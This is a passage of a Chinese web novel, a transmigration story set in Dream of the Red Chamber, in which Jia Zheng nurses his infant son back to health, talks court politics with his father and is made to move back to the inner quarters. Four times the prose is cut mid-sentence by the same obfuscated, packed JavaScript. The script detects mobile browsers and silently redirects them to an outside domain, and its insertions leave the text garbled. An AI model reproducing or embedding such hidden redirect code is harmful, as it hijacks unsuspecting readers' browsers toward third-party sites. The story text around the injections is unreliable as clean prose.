松烟一缩脖子,转身跑了出去,反正他就是个传话的,只管把话带到,让主子们自己去理论好了。 贾政才不管打不打脸,贾珠本就生得瘦小,交给谁他都不放心,好不容易有个儿子,可不能让他夭折了。 贾母这两天也在为大孙子的身体忧心,珠儿生得弱,她担心养不好无法跟儿子交待,原是想着大一大再抱到身边,结果王氏就搞了这一出,要是真有个好歹,指不定闹成什么样呢。 听了松烟的传话,贾母又愁上一层,“回去告诉你主子,奶娘和珠儿这就给他送过去,只别生气又添了病症,小孩儿家三灾八难是常有的事,犯不着为两个蠢妇气坏了身子。” 松烟肃身答应着,打了个千退出内宅正房,他站在内仪门后面等着,看到太太的大丫头和赖嬷嬷去了东跨院,才出了内宅回书楼向贾政回话。 贾政并不意外贾母会按照他的意思做,能给儿媳妇添堵的事她向来很积极,小儿子是她的心肝,哪能让王氏那个外人抢走了,时不时就要在原身面前挑拨几句。 王氏正在整理嫁妆铺子上的账本,她是小儿媳妇,又有孩子需要照顾,管家暂时还轮不到她,她也不是个能干的,只打理嫁妆收益就够忙上好一阵子了。 王家教女以主持中馈为主,念完女四书就算识字了,算学也教过,算盘打得山响,一页账本能反复算出好几个结果来。 王氏正不耐烦,见婆婆身边最得力的嬷嬷和丫头来传话,立即放下算盘起身迎接。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900585|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖嬷嬷笑着客气两句,才把贾政的意思带到,听说自己要降等,周姨娘眼前一黑就要栽倒,被丫头撑住才没当着外人的面丢丑。 王夫人的脸色也很难看,起身就要去找贾政理论,阻止他抢走自己的儿子。 赖嬷嬷在心里撇嘴,二奶奶也就模样能看,性子又蠢又硬,要不是有太太盯着,二房指不定乱成什么样呢。 明面上她却满脸关切,也不明着劝王氏,而是对周姨娘叹道,“可慌什么,二爷知道大哥儿生了病,一时气愤才罚得重了些,不养孩子不知道养孩子的辛苦,抱去给他养几天,他就知道厉害了。回头再小意哄上几句,爷们还能真跟周妹妹生气不成。” 周姨娘木讷安静,也不知如何回话,向赖嬷嬷福了下身便退到丫头身后去了。 王氏心中的羞恼稍解,哼了声又坐回去,对大丫头道,“你去让奶娘把哥儿的东西收拾一下,立即给爷送过去,谁养孩子还能不生病是怎么着,告诉她别怕,革去的银子我给她补上。” 奶娘因为贾珠生病提心吊胆了好几天,巴不得丢开手不管了,银子没了不打紧,小主子要是有个好歹,全家都得跟着吃瓜落。 不到半个时辰,贾政就收到个大红包和两箱子东西,贾珠正睡着,小小一只被包在红色的襁褓里,额头很烫,大约在三十八度左右,喉咙里呼哧呼哧的,明显是有痰。 贾政盯着宝宝发白的嘴唇,又看向送孩子来的奶娘,问出不想面对的问题,“你们该不会也让哥儿净饿了吧?” 二房的下人就没有不惧怕贾政的,奶娘被盯得全身发毛,汗毛孔都炸开了,哆嗦着回道,“是,是啊,家里人生病不都这样么,哥儿拉肚子,空腹才好的快,今儿烧也退下去好些了。” 贾政差点跳起来打人,挥手让跟来的人都滚出去,对松烟道,“去请黄幕僚,记得客气些。” 松烟哪敢对老爷的心腹不敬,答应着一溜烟跑到马棚后面,黄幕僚不仅精通佛法,对营造风水,医术卜算也有所涉猎,每天这个时候都会前来查看客院的工程进展,到这边找他准没错。 黄幕僚听了松烟的请求,不敢耽搁的直奔书楼而来。 荣国府外院分为东西中三路,中路甬道直通正院荣恩堂,是贾代善办公起居之所。 西路的倒座是值班房,后面是一排下人房,接着是外书房和护院住的大院,然后是面积最大的幕僚院,再往后走就是进内宅的垂花门了。 东路从南到北是马棚,外花园和藏书楼。 从藏书楼的大门进去,里面是三面合围的二层楼,正楼藏书,东楼是教学的书斋,西楼用于闲坐休憩。 贾政就住在西楼,黄幕僚算是他长辈,他又是国公府的小主人,两人干脆以平辈论交,见面无需太多客气,相互见个礼就直奔主题了。 黄幕僚当主持时养过不少小沙弥,对儿科颇有心得,从贾政手上接过小娃娃,他眉头就是一皱,“为何包得如此严实,六月初已经有些暑气了,会把孩子热坏的。” 5. 第五章 养娃 贾政目瞪口呆,他想过王氏和奶娘可能不会照顾孩子,才会把贾珠养得如此瘦小,没想到她们竟如此离谱,大热的天把孩子包得这么严实,是想让他中暑吗? 黄幕僚把襁褓解开,包在被子里的小身体更烫,汗津津的衣服都是潮的。 他又把小被子虚盖了回去,免得汗散的太快会着凉,拉出细成麻杆的小胳膊诊过脉,黄幕僚松了口气,“大体还算康健,虚弱是许久未进食所致,我能诊出来的病症有限,东城有个李大夫,在儿科上颇有造诣,二爷不如请他来看一看吧。” 贾政拱手道谢,即刻命松烟去请李大夫,又让小厮打开箱子,重新给贾珠换了身衣服。 黄幕僚告辞不久,他要的奶娘也到了,荣国府有下人上百户,共三百来口子,刚出月子的年轻媳妇就有十来人。 赖嬷嬷不敢怠慢贾政屋里的事,只找那麻利白净奶水又足的挑了两个,让她们收拾齐整了,亲自送过来。 贾政正对着奶娃娃发愁,换完衣服贾珠就醒了,一哽一哽的小声抽噎,喂水也不肯喝,嗓子里的痰还跟着直呼噜。 他回想大嫂给侄女清喉咙的样子,让贾珠俯卧在手掌上,另只手空掌轻轻给他拍后背,拍了好半晌才把痰吐了出来,哭声反倒更大了。 虽然小奶娃哭个不住,贾政也没有立即把他交给新奶娘的意思,只定定打量两个年轻媳妇子。 荣国府的奴仆都能保证温饱,活成什么样就要看个人素养了,这两人眼神明亮,整洁端正,面对哇哇大哭的小娃娃都露出不忍之色,看向贾政的目光略带谴责,无声控诉他虐待亲子。 贾政反倒缓和了表情,谢过赖嬷嬷,把贾珠交给奶娘,让她们带哥儿去楼上居住,贾珠的行李已经送上去了,还需要什么就打发小厮去支取。 赖嬷嬷对贾政福了下身,也跟过去帮忙,打算等大夫诊过病再回去向太太交差。 她是个再乖滑伶俐不过的人,自陪嫁到荣国府就一门心思协助贾母,那些爬上老爷床的陪嫁丫头都不知死了几轮,她在府里反倒越发得意起来。 大儿子赖大在贾政身边当大管事,内外出行等事都归他掌管,大儿媳妇则给她打下手,负责贾母的人情来往等事。 小儿子赖二在采办上当差,女儿在贾母身边当大丫头,全是让人眼红的肥差。 贾政接触赖家人也有几天了,对他们很难生出恶感来,他名下的奴才有二十多人,像赖大那样能干的却没几个,赖嬷嬷比儿子更加圆滑有能为,对主子还尽心尽力,也难怪贾母会倚重她。 可是人心难测,很难从外在表现看出本性,当前贾代善才是荣国府的正统主人,老太太留下的老人依旧受到重用,贾母和赖嬷嬷主仆只能互为膀臂,在内宅小心蛰伏。 等到贾代善过世,贾母成了贾家说一不二的老祖宗,赖嬷嬷才敢露出贪婪本色,让大儿子把持荣国府,小儿子也成了宁国府的二号人物,借修建大观园之便,给自家贪墨了个园子出来。 暗着贪也便罢了,还敢堂而皇之的请主子们驾临游玩,赖家之狂,贾家之蠢,令人叹为观止。 贾政不想养硕鼠,暂时也只能在心里给赖家记上一笔,找到机会肯定要把他们赶出去。 还有那些仗着主人权势在外作恶的奴仆,分明是替自家往仇人手上递刀子呢,宁荣两府会落得抄家的下场,也少不了他们的罪过。 贾政心里沉甸甸的,原著里说荣国府这等勋贵世族是百足之虫,死而不僵,只有自杀自灭才会败落,事实上这种说法是完全错误的。 皇帝会重用勋贵出身的官员,任由四王八公的势力盘根错节发展壮大,必然有他的理由,一旦哪天理由不在了,就是他们的覆灭之日。 恩准妃子省亲是掏空世族的第一步,再纵容其触犯律法,作下种种恶行,想清理时只要抓住最致命的小辫子,就能一举将之掀翻在地了。 贾政心中发寒,突如其来的通报声吓了他一跳,抬手阻止小厮松绿的呵斥,让他带外面的人进来。 松烟引着一名中年男子走进堂屋,后面还跟着个扮成男装的小姑娘。 隔着垂帘,松烟向里间的贾政躬身道,“爷,这位就是东城的名医李大夫。” 李大夫向贾政打千见礼,他身后的小姑娘却只欠了欠身,大眼睛骨碌碌的盯着贾政,看不出在想什么。 贾政全当没注意到对方的失礼,模仿原身对待外人的样子,冷淡开口,“罢了,给哥儿看诊去吧。” 赖嬷嬷满面堆笑的迎了下来,请两人上楼为孙少爷诊病。 等李大夫两人消失在楼梯口,松烟才蹭到里间,蹲在贾政床边,压低声音道,“爷,提药箱的是个姑娘,听说荣国府有请,她就换成男装一定要跟来,也不知是什么路数,李大夫不阻止,我也不好说什么。” 松绿啊了声,把茶盏递给松烟,也学他的样子小声道,“是个姑娘呀,我完全没看出来,一个姑娘家怎的如此不知礼数,盯着爷们看个没完。” 松烟瞄了眼歪在床头的贾政,忍住笑没开口,就自家爷长的这样,别说姑娘了,连男子看到了也少有能移开眼的。 贾政白了眼满脸坏笑的家伙,松烟的处事为人都不错,虽油滑嘴贱了些,却从不曾仗着主家的权势欺压百姓,对内也很有团队意识,等把赖家人打发走,就把他提拔成管事,用起来肯定比赖大放心。 松烟嘿嘿傻笑,松绿还是个小孩子,勾起好奇心就一定要打听点内情出来,两眼紧紧盯着楼梯,打算送人出府时再想办法试探一二,他对那姑娘真的很好奇啊。 贾政敲了下松绿的头,无奈道,“那姑娘脚步轻巧,提着那么大一只药箱气息也丝毫不乱,分明是个练家子,问太多小心挨揍。” 松绿切了声,“我们家可是武勋出身,谁还没练过一招半势的,还怕个小丫头不成。” 贾政愣了下,松绿不提他都忘了,原身也是习过武的,贾演贾源两兄弟最初只是农家子弟,被豪族逼得活不下去了,才投到先帝麾下。 武艺是东平郡王亲自教的,经过战场淬炼,他们又自己总结出伏魔刀法和八方拳法,加上军中盛行的六合枪法,当作贾家的传家绝学。 贾代善和贾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900586|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代化这对堂兄弟深得父辈真传,凭家传武艺在官场混得风生水起,到了贾政这辈,三个嫡出少爷没一个有习武天赋的。 贾敬走路都能平地摔,好在脑子够用,二十多岁就高中二甲进士,也能弥补些老父亲的遗憾。 荣国府这兄弟俩只能用废材中的废材来形容,贾赦被祖母娇宠得糊涂懒散,哪能受得了练武的苦。 贾政也是个不肯吃苦的,刀法拳法只学了个花架子,为了不习武就假装爱读书,文武皆废。 贾政叹气,正要闭目回忆学过的拳法,赖嬷嬷就带着李大夫两人从楼上下来了。 走到垂帘跟前,赖嬷嬷抢先笑道,“二爷不必心焦,李大夫说我们哥儿只是小症候,很快就能痊愈了。” 李大夫也点头道,“确是如此,贵公子只是受惊又着了凉,小可开了两个固本培元的药膳方子,让奶娘早晚食用半个月即可。” 贾政保持着看不出喜怒的面瘫脸,扶着松烟微微欠身道谢,“松烟取上等封来,松绿代我送李大夫。” 李大夫连声说不敢,转身扯了下那姑娘,跟随松绿退出西楼。 贾政懒得理会外人的想法,派年纪最小的松茗盯着奶娘吃药膳,不出三天贾珠就眼看着好了起来。 他是个很乖的宝宝,身体好转后一点也不闹人,自己玩小手吐泡泡也能玩得很开心。 跟贾政熟悉以后看到他就笑得满下巴口水,可爱的样子让老父亲疼到心坎里了。 贾政的腰还不能吃力,担心抱孩子会失了手,便让人在堂屋铺了三层厚毯子,陪宝贝儿子晒太阳玩耍,又在书楼里找出家传的刀谱拳谱,教他比划。 贾代善最近一直在清点人口,盘查小儿子出事那天进府的人,几天下来,贪墨钱财仗势欺人的奴才找出不少,外人却查不出问题来,只好在下衙以后亲自来问贾政是否还有印象。 走进藏书楼的院子,就有笑声传了过来,西楼的门帘被卸掉了,几个小厮蹲在门外,门槛里铺着大毯子,贾政正带贾珠练习翻身。 贾政仰躺在毯子上,手撑脚蹬用力一扭,就翻身成了俯卧。 贾珠定定看着父亲,也学着用小手小脚又蹬又扒,拧腰扭啊扭的,肉虫子似的翻了过来。 发现自己成功了,他咯咯笑起来,贾政笑着连声夸赞,小厮和奶娘也拍手为他喝彩,贾珠越发开心了,在毯子上连打了几个滚。 儿孙同乐的画面让贾代善红了眼眶,随即也跟着笑起来,众人看到老爷来了,赶忙向他见礼。 贾代善抬手制止贾政起身,笑斥道,“腰上不疼了么,你可注意着些吧。” 贾政应了声,扶着松烟慢慢起身,向老爹躬身见礼。 贾珠也撑起上半身盯着祖父,像只小海豹似的。 贾代善心花怒放,俯身抱起大孙子颠了颠,“珠儿是不是长胖了?” 先前听说儿子要亲自养孙子,他还担心来着,听太太说找了两个奶娘,她和赖嬷嬷也每天探望几次,这才放下心。 没想到儿子能把珠儿养得这样好,不仅长胖了,性子也开朗多了。 6. 第六章 父子 贾政笑道,“这小子能吃能睡,可不是胖了么,我是他亲爹,还能亏待他不成,老爷对我也要有信心么。” 贾代善横了儿子一眼,“你被人捅进荷花池子,差点丢了小命,连是谁下的手都不知道,让我怎么有信心?” 贾政干笑,是原身主动跳进池子里的,他不能承认自残是为了陷害兄长,更不能随便找个人扣黑锅,除了装傻充愣还能怎么办。 “老爷不是查出几个中饱私囊的恶仆么,也有了严守府门的借口,以后我们家外院就彻底清净了,可见我的伤也不是白受的。” 贾政说着就要接过儿子,请老爷去堂屋里面坐。 贾代善扭身避开他的手,抱着贾珠走进正堂,还不忘瞪了倒霉儿子一眼。 这小子啥时候变得这么小气了,儿子都不让人多抱一会儿,他可是珠儿的亲祖父。 贾政武力值最鼎盛时也未必是贾代善的对手,现在这副少爷身板更白给了,只能摸着鼻子跟在老爷身后。 他抱怨道,“我和珠儿玩得正开心,老爷怎么这时候过来了?” “我也想一起玩儿。”贾代善一屁股坐在主位,没好气的回了句,“你再想想,落水之前身边都站着什么人,我几乎查遍了那天进府的人,也没看出哪个有害你的动机。” 贾政一摊手,“我记得的都说过了,我们能调查出来的只有出身经历这些浮于表面的东西,又怎知人家暗中属于哪方势力呢。” 贾代善轻轻叹了口气,把有些犯困的贾珠交给奶娘带下去,才道,“按理朝堂上的事不应该这么早跟你们兄弟说,可我已经四十有五了,也不知能支撑到哪一天,有些话还是交待清楚才能安心。” “老爷。”贾政看着两鬓已经染上霜色的贾代善,不禁想起早早过世的父亲,鼻子一酸眼泪差点掉下来。 见儿子红了眼眶,贾代善反倒笑了,“哭什么,谁还没这一天了,只要你们兄弟能守住贾家,我就没什么可遗憾的。好了,不说这些,政儿,你要知道,我们荣国府虽是四王八公之一,你爹我又是唯一恩袭了国公爵位的人,可与皇家相比,我们也不过是平常人家而已。” 贾政上辈子最大的爱好就是看历史和权谋小说,对皇权的可怕比贾代善这些局中人有更加清醒的认知。 他点头应道,“老爷放心,我都知道的,不会让自己和大哥卷到继位之争里去的。” 贾代善笑了下,又摇头道,“以我们家的地位,不被各方拉拢是没可能的,你们只要记住,我们荣国府只听命于圣上,切不可为了爵位做那不忠之臣。” 贾政起身,肃手应下父亲的教导。 贾代善点手让他坐下,又叹道,“这些话也只能跟你说了,你太太出身显贵,素来眼高于顶,为了爵位还不知会做出什么事来。你大哥是个耳根子软的,禁不住别人几句怂恿好话,他就忘记自己是谁了,以后荣国府就要靠你看着他了。” 贾政愣了下,古代亲族观念根深蒂固,老爷平时说的‘我们家’,是包括宁国府,以及全部贾氏族人的,突然特意强调荣国府,难道是宁国府那边出问题了吗? 他不敢多问,强笑道,“老爷怎么说起丧气话来了,我还等着你给珠儿挑媳妇呢。” 贾代善呵呵笑道,“嗯,放心,你爹我还硬朗呢,会看到那一天的。” 贾政也笑了,“照我看,那些人都是瞎折腾,当今只比老爷大两岁,也从未传出过圣体抱恙的传闻,再当政个二十来年也不是难事,那时我都四十岁了,皇子里面比我大的那几个不过是凑个虚热闹罢了。” 原著中黛玉十岁那年林如海和秦可卿相继过世,贾元春也是同一年封的贤德妃,那时新皇已经登基,开始着手打压勋贵世族了。 而盐政又是非帝王亲信不可胜任的职位,结合林如海四十岁前往扬州当巡盐御使的时间,能大致推断出皇位更替是近二十年以后的事,现在担心这个还太早了。 贾代善嘶了声,从没用年纪想过继位的事,若是当今还能在位二十年,太子可就四十五岁,都是当祖父的年纪了。 下面几个皇子也相差不了几岁,父衰而子壮,夺嫡之争只会更加惨烈。 贾政发现老爷的左手指尖正在发颤,赶忙近身握住他的手,问道,“老爷,你的手怎么了?” 在他的印象中,只有中风或脑损伤后遗症的人才会出现肢体颤抖的症状,老爷的身体明显是出了问题,难怪他在红楼开篇之前就没了。 见吓到孩子了,贾代善连忙笑着安抚,“没事没事,先前打倭寇时伤到了左臂,走神时手就会颤几下,不是大毛病,我又不是看不起太医,有病还能不治么。” 贾政眼角直跳,都穿越到另一个世界了,还是摆脱不掉那帮小鬼子,这是要把世仇锁死么。 他没好气道,“下次宁大夫来时老爷也看看吧,你要是有个好歹,我跟大哥还不得被外头的人扒皮拆骨啊。” 贾代善好笑的摇头,“知道啦,指着我又能安稳到几时,你们也得自己立得起来才行啊。” 贾政笑嘻嘻的一摊手,“指望我和大哥是没戏了,老爷不如在珠儿身上多下些工夫,以后大哥再生个长子嫡孙,可有老爷忙的。” 贾代善好想打人,指着贾政咬牙道,“这顿打先给你记着,养好伤就给我回国子监念书去,明年不考个秀才回来就一总锤你。” 贾政才不怕他,同样的话不知听过多少次了,这夫妻俩都是惯孩子的人,尤其宠爱他和贾敏,哈口大气都能后悔半天,哪舍得打呀。 正因如此,后来贾政把贾宝玉打个半死时贾母才会那么生气,这儿子不仅窝囊没出息,连孩子都不会教,没半点像丈夫的地方。 贾政花了几天,把家传的拳法刀法研究透,等腰彻底不疼了就躲在床帐里尝试拉伸筋骨,为正式习武做准备。 上辈子他是进入警校以后才开始练武的,最开始时被教官操练得苦不堪言,每节课都是在惨叫声中结束的。 新身体也是二十岁,和上警校时差不多大,他以为还要再经历一次地狱级别的折磨,结果却出乎意料。 压腿展臂下腰,高难度的动作都能轻松完成,筋骨柔韧,协调性也不差,金鸡独立两刻钟都不带晃一下的,堪称练武圣体。 贾政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900587|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭笑不得,难怪原著中从来没有贾政生病的情节,这么好的身体素质却长在个吃不得苦的废物身上,也太暴殄天物了。 养伤半个月,宁大夫宣布他的腰伤康复,终于可以自由行动了。 贾政开心的包了个大红包感谢宁大夫,把人送走后就在院子里舒展筋骨,想打趟军体拳活动一下。 刚举起双臂,贾母就带着一群管事婆子走了进来,那架势像是来抄家的。 见儿子傻傻看着自己,贾母嗔道,“发什么呆呢,在外面一住就是半个月,伤好了也不知道回自己的院子去,还要我亲自来请你。” 她之前不催儿子搬回去,是担心年轻夫妻不知收敛,再把腰弄伤可就要闹笑话了。 哪知儿子半点不着急,宁愿在藏书楼里发呆也不肯搬回去,就算因为孩子的事闹别扭,这么些天过去也该消气了,屋里娇妻美妾的,他还真能沉得住气。 贾政都快忘记王夫人这号人物了,自从把贾珠接到身边,她就再没出现过,听说要搬回去同住,他尴尬得要死。 “我,我在藏书楼住着挺好的,这里书多,离角门还近,上学比住内宅方便多了。” 贾母才不管他怎么想,反正今天一定要搬回去。 她啐了声,“多走几步路哪里就能累死你,在外院这些天你连请安都忘了,换成你老娘我天天几趟给你请安了。你那后罩楼里的书还不够多,地方还不够大么,趁早给我搬回去,别浪费我的时间。” 说完,贾母挥手让两个婆子上去架住贾政,又叫奶娘抱着贾珠,把人先搬回去再说。 贾政不敢忤逆亲娘,这个时代不尊父母之命可是犯法的,他又做不出撒泼打滚的事,只好安慰自己内宅也有自己的住处,不去王氏房里,尽量躲着她就行了。 随贾母从东穿堂走进正院荣恩堂,正中是五间大正房,两边厢房配耳,高大宽敞,轩昂壮丽。 顺抄手游廊绕过正房,后面就是通往内宅的内仪门,与西路的垂花门处于一条水平线上。 走进内仪门,第一个大院就是内宅的正房荣禧堂了,前院跟荣恩堂是一样的布局,只在后院又多出个二层的后罩楼来。 荣禧堂是国公府的中心院落,只有国公夫人才有资格居住,四通八达,往来十分便利。 西穿堂通往长辈院,东穿堂连着东跨院,从后门出去就是原著中贾琏和王熙凤的院子,现在是贾赦一家住着,再往后就是后花园了。 东跨院是东西走向的三进院落,一进院是贾敏的闺阁,通往二进的门被封上,二三进都是贾政的地盘。 贾敏和两个嫂子正在后罩楼处理家务,她明年就要出嫁了,贾母把理事权交给女儿,又命石氏和王氏在旁协助,生怕经的事少了在婆家会吃亏。 凭贾敏的聪明,家里这点事根本难不住她,大嫂石氏娴静温柔,相处起来也很愉快。 二嫂王氏就讨厌多了,明明没多少本事,还爱显弄自己,她说一句她就有几句来反驳,偏偏又拿不出更好的主意,一上午事没办成几件,闲气倒生了不少,难怪二哥住在外面不肯回来,看她一眼都够短命几年的。 7. 第七章 搬家 荣禧堂的后罩楼内外站着不少管事媳妇,见太太和二爷来了,远远便福身见礼。 在楼内理事的贾敏和两个嫂嫂听到动静,也起身迎了出来,她们先向太太见礼,贾政又向大嫂石氏见礼,贾敏和王氏再向他见礼,礼数丝毫不乱。 贾政在原身记忆中看过无数次这样的场景,亲身经历才见识到世族礼仪的庄重严谨,他心中凛然,暗暗提醒自己面对外人一定要谨慎,失了礼数不仅自己会受到嘲笑,全家也得跟着丢脸。 相互见过礼,王氏看向奶娘怀里的儿子,轻声唤了声珠儿,眼泪像断了线的珠子似的落了下来。 她声音悲切,贾政听得心中不由一软,开始怀疑之前做的有些过了,把孩子从母亲身边抱开,跟人贩子有什么区别。 哪知贾珠却不肯给母亲面子,歪着小脑袋盯着王氏,也不知他想到了什么,扭身就把小脸埋在奶娘怀里,好像她才是人贩子。 王氏面色一寒,转瞬又变得凄凄惨惨的,看向贾政的眼神埋怨中带着委屈,转身离去的背影好不可怜见的。 贾政僵在原地,在自责和怀疑王氏精神有问题之间来回切换,弄不清她是真的在为孩子排斥自己伤心,还是在表演伤心给他看。 他转头看向美丽端庄的国公夫人,盼望宅斗高手能给点提示,哪知贾母只是白了他一眼,催促道,“还不快走呢,大毒日头下还想站多久。” 贾政只能在心中苦笑,跟着太太从后院门出去,来到东西夹道。 夹道北边立着一个粉油大影壁,后面就是贾赦的院子,身为国公府嫡长子,他才有资格居住在代表尊贵正统的中路线上,贾政再受宠也只能住在东跨院,这也是原身记恨贾赦的原因之一。 贾政才不在意这些,荣国府的爵位传到贾赦儿子那儿就算到头了,自身立不起来照样得完蛋。 他们没走出几步,贾赦就鬼鬼祟祟的从影壁后面走了出来,手上提着个大鸟笼子,缩肩勾背的傻样别说贾母喜欢不起来,贾政都想踹他一脚。 眼见太太立起眉梢就要训斥,贾政抢先叫了声大哥。 贾赦吓了一跳,好在还算机灵,发现太太盯着自己,立即恢复了常态,打千笑道,“太太安,我昨儿弄了只鹦鹉,正要给珠儿送过去呢,二弟这是要搬回来住啊。” 贾母脸色这才好了些,但还是轻斥道,“送鹦鹉干嘛鬼鬼祟祟的。” 贾赦憨笑,“我这不是怕惊着它,它再惊着我侄子么,珠儿看看,喜不喜欢大伯送的礼物?” 鸟笼里的鹦鹉色彩艳丽,红绿蓝三色相间,漂亮极了,是非常名贵的金刚鹦鹉品种。 贾珠正是喜欢鲜艳颜色的阶段,看得眼睛都直了,扎着小手啊啊叫,嘴里叽里咕噜的说婴语。 那鹦鹉也不知能听懂还是怎的,也跟着呀呀的叫,两个小东西你一声我一声,看得众人都笑个不住。 贾母搭着大丫头的手,用帕子按眼角笑出的眼泪,“松烟,你去接了鹦鹉,琥珀去库里把那对冰裂的净瓶找出来,给大爷送过去。” 她嫌记名字麻烦,大丫头都用鸳鸯琥珀玻璃珍珠这些名字,换人不换名,这代琥珀就是赖嬷嬷的女儿,她脆生生答应着,一双妙目含笑带嗔的扫过贾赦,扭身往库房去了。 贾赦全身酥软,舔着脸一副猪哥相,魂儿差点被勾了去。 贾政轻咳一声,提醒他别跟猪八戒似的,看到女人就走不动道,琥珀长的顶多算清秀,比大嫂差远了,怎么就不知道珍惜呢。 贾赦这才想起太太还在呢,立即正经起来,把笼子交给松烟,还不忘对贾政露出个讨好的谄笑。 自打弟弟落水后就像变了个人似的,不仅说话好听了,还处处维护他,不枉费他第一个跳进池塘救人,终于愿意承认他这个大哥了。 贾政把叹息咽回肚子里,以眼神示意他过来搀扶太太,贾赦才二十三岁,除了憨傻贪玩也没别的劣迹,把他当成刚毕业的大学生,傻白甜一些好像也能说得通。 贾赦秒懂,颠颠上前搀起太太的手,陪她送贾政回院子。 贾母也不是没事找不自在的人,长子示好她就接着,扶着贾赦的手往东走了十来丈,从东跨院的后门进入二进院。 二进院的后罩楼是贾政的内书房和卧房,前头是大花厅和东西厢房,三间正房在最前面。 正房是两个年轻主子处理家务的地方,很少会在那里居住,大花厅用于会客,东厢是餐厅,西厢是小厨房。 第三进的院子被规划成三个小套院,王氏,周姨娘和贾珠各占一院,周姨娘被降等后搬去和王氏一起住,中间的院子便空了下来。 王氏已经赌气回自己的院子了,贾政请太太和大哥去花厅奉茶,他接过儿子,打发两个奶娘回贾珠的院子安置行李。 花厅是两个大开间,打通后十分阔敞,贾政命松烟把鸟笼放在炕桌上,他抱贾珠和贾赦一左一右逗鹦鹉玩。 贾母坐在对面,含笑看着子孙玩乐,花厅里的家具陈设是她亲自布置的,打量被二儿媳经管过的地方,嘴角不由带上冷笑。 命丫头把窗下桌子上那对珐琅花彩的大胆瓶收了,换成汝窑的葵花洗,再摆几个佛手柑薰屋子,描金蟒纹的椅搭靠背也要换,还有花里胡哨的茶具,统统搬出去。 等丫头把碍眼的东西都挪走,贾母才叹道,“政儿,我看这屋里也没个可用的人,不如再给你添两个通房吧。” 贾政吓了一跳,把脑袋摇成货郎鼓,王氏和那个通房还不知怎么安置呢,再来两个他真要卷铺盖睡外院去了。 “我又不用丫头服侍,添那么多人做什么,老爷还让我考秀才呢,要是知道我的心思没放在正事上,回头真要锤我了。” “他敢。”贾母眉梢倒竖,一副谁敢动我儿,就把谁拍扁的架势,目光扫到和孙子一起傻笑的大儿子,她又打消了这个念头。 老大成亲五年了,虽说前头三年多都在守孝,至今还没个孩子也是愁人,给老二添通房,老大自然也不能少,长房要是弄出个庶长子出来,真要闹笑话了。 贾母坐了一会儿,嘱咐贾政好生养着,就去忙自己的了,贾政这才询问贾赦鹦鹉是打哪里来的,金刚鹦鹉是洋物贡品,私自截获可是犯法的。 贾赦唉了声,“我又不傻,哪敢做那上杆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900588|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找死的事,顺天府不办我,老爷也得打死我。这是内务府用供品鹦鹉养出来的,前几天放出风声要淘汰一批羽毛不够鲜亮的,三百两一只,没门路还买不到呢,我是打算带出去跟蒋五他们嘚瑟嘚瑟,就撞到太太眼前了。” “这还不够鲜亮?”笼子里的大鹦鹉有成人手臂高,羽毛鲜艳,油光水滑,漂亮到耀眼,动物世界里的金刚鹦鹉也就这样了。 “那是你没见过更漂亮的,今年养出一只全身火红,不见一丝杂色的,羽毛刚长全就被太子要了去,听说是要在圣寿节当作祥瑞进献给皇上。还有好几只孔雀配色的,都送到亲王和郡王府上去了。” “哦。”贾政紧紧抿着嘴角,生怕多说一句就要笑出来。 金刚鹦鹉的品种只有不到二十种,且羽毛颜色遗传十分稳定,贾赦说的那些都是杂交出来的串儿,根本不值钱好吧。 贾珠玩儿一会就累了,贾政让奶娘抱他回小院睡觉,又把鹦鹉还给贾赦,“还是你养着吧,珠儿想玩就让奶娘抱过去,我们自己家里,养在哪儿都一样。” 贾赦开心的接过鸟笼,笑道,“你说得对,在我们自己家,谁养不是养呢,你休息吧,我找蒋五他们去了,顺便打听一下圣寿节各家都准备了什么寿礼。” 京都的王公高官都要在圣寿节上献礼,寿礼既要有新意,又不能太出格,各家只能相互比量着准备,自家在京都人脉最广的就是贾赦,这件事还真得他来做。 所以,贾政再次生出疑惑,像贾赦这么活泼喜欢交际的人,是怎么变成原著中万事不管,只知高卧的油腻大叔的?这期间究竟发生了什么? 